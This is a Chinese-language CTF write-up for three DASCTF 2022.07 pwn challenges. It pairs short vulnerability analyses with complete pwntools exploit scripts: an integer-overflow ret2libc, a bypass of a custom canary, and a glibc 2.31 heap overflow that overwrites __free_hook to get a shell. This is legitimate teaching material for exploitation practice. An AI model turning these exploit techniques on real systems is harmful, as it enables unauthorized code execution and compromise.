DASCTF2022.07賦能賽PWN部分WP
程式保護情況
64位ida逆向
可以看見是一個隨機數的邏輯,只要我們猜不對4次就可以進入漏洞函式,但是我感覺這原本可能是==號,讓用隨機數的
那我們就4次不輸入一個數就可以進入漏洞函式,這裡注意這個a1就是我們進入漏洞函式之前要輸入的值,可以看見在read的時候使用的是un int 而判斷的是int,那麼這裡就存在一個型別轉換導致的整數溢位,我們可以輸入比4294967296小一點的數,這樣在判斷轉換的時候是負數,而在輸入的時候就是這個大數,所以就可以造成溢位,然後ret2libc
EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./eyfor')
#io = remote('node5.buuoj.cn',26262)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./eyfor')
io.sendlineafter('go','a')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendlineafter('message:','1')
io.sendline('4294967220')
io.recvline()
#gdb.attach(io)
pop_rdi = 0x0000000000400983 #: pop rdi ; ret
payload = b'a'*0x38 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4007B7)
io.send(payload)
io.recvuntil('CST\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr---->'+hex(puts_addr))
system = puts_addr - libc.sym['puts'] + libc.sym['system']
binsh = puts_addr - libc.sym['puts'] + next(libc.search('/bin/sh'))
io.recvline()
payload = b'a'*0x38 + p64(pop_rdi+1) + p64(pop_rdi) + p64(binsh) + p64(system)
io.send(payload)
io.interactive()
不過在復現的時候遠端buu平臺把data命令禁用了,導致程式還沒有開始輸入就崩潰了。。。。。
MyCanary2
程式保護情況
64位ida逆向
在初始化的時候程式使用了時間戳和隨機數異或得到種子
程式雖然沒有開canary保護但是模擬了一個類似canary的功能,我們可以檢視canary,但是之後canary就會改變,有溢位,但是最後有檢查
所以我們可以找找漏洞
在檢查函式末尾發現如果rbp - 4位置為0就會跳轉而不執行檢查,那麼我們第一步溢位然後,在更新一下這個手工canary繞過檢查,然後退出即可執行後門函式
並且程式存在後門函式
EXP
from pwn import *
context(log_level= 'debug',arch='amd64',os='linux')
io = process('./MyCanary2')
io.sendlineafter('choice','1')
payload = b'a'*(0X70-4) + p32(0) + p64(0) + p64(0X40157B)
io.recvuntil('code:')
gdb.attach(io)
io.sendline(payload)
io.sendlineafter('choice','2')
io.sendlineafter('choice','3')
io.interactive()
compat
程式保護情況
64位ida逆向
選單
add函式,這裡申請的時候輸入tag的時候跟0x80相與,結果作為下一次的輸入,我們可以輸入0xff繞過,導致溢位到儲存堆塊指標的位置,然後實現洩露heap地址,同理因為本題libc是2.31,申請7個堆塊然後free之後進可以進入到unsortbin,修改指標洩露libc地址,不過要注意,只能申請8個堆塊
free函式,把指標都清零沒有free
freeall函式,遍歷剛剛free的堆塊然後依次free,指標清零
思路:
1.透過\xff繞過與操作,讓儘可能多的位元組寫入,洩露堆塊地址
2.修改堆塊指標到unsortbin堆塊處,洩露libc地址
3.偽造堆塊讓指標修改到fake_chunk處,修改已經free堆塊的fd指標位free_hook,因為此題free的內容是控制指標優先,導致/bin/sh引數或者sh引數不好輸入,所以乾脆使用one_gadget
EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./compact')
#io = remote('node5.buuoj.cn',27724)
libc = ELF('./libc-2.31.so')
def add(msg,tag):
io.sendlineafter('choice: ','1')
io.sendafter('data: ',msg)
io.sendafter('tag: ',tag)
def show(index):
io.sendlineafter('choice: ','2')
io.sendlineafter('idx: ',str(index))
def free(index):
io.sendlineafter('choice: ','3')
io.sendlineafter('idx: ',str(index))
def freeall():
io.sendlineafter('choice: ','4')
add('a',b'\xffaaa')
gdb.attach(io)
show(0)
io.recvuntil('aaa')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2c0
success('heap_base--->'+hex(heap_base))
for i in range(7):
add(p64(0x91)*14,'b')
for i in range(7):
free(7-i)
free(0)
freeall()
payload = b'\xffaaa' + p64(heap_base+0x2c0)[:2]
add('a',payload) #0
show(0)
io.recvuntil('data: ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x70 - libc.sym['__malloc_hook']
success('libc_base---->'+hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
one = libc_base + 0xe6af1
add('a',b'\xffaaa\x80') #1
free(1)
freeall()
payload = b'a'*0x20 + p64(0) + p64(0x21) +p64(heap_base+0x560) + p64(heap_base +0x10)+ p64(0) + p64(0x91)+ p64(free_hook)
add(payload,'2')
add('/bin/sh\x00','\xff'+'sh\x00\x00\x00\x00') #2
#gdb.attach(io)
add(p64(one),'\xff'+'sh\x00\x00\x00\x00') #3
free(3)
#gdb.attach(io)
freeall()
io.interactive()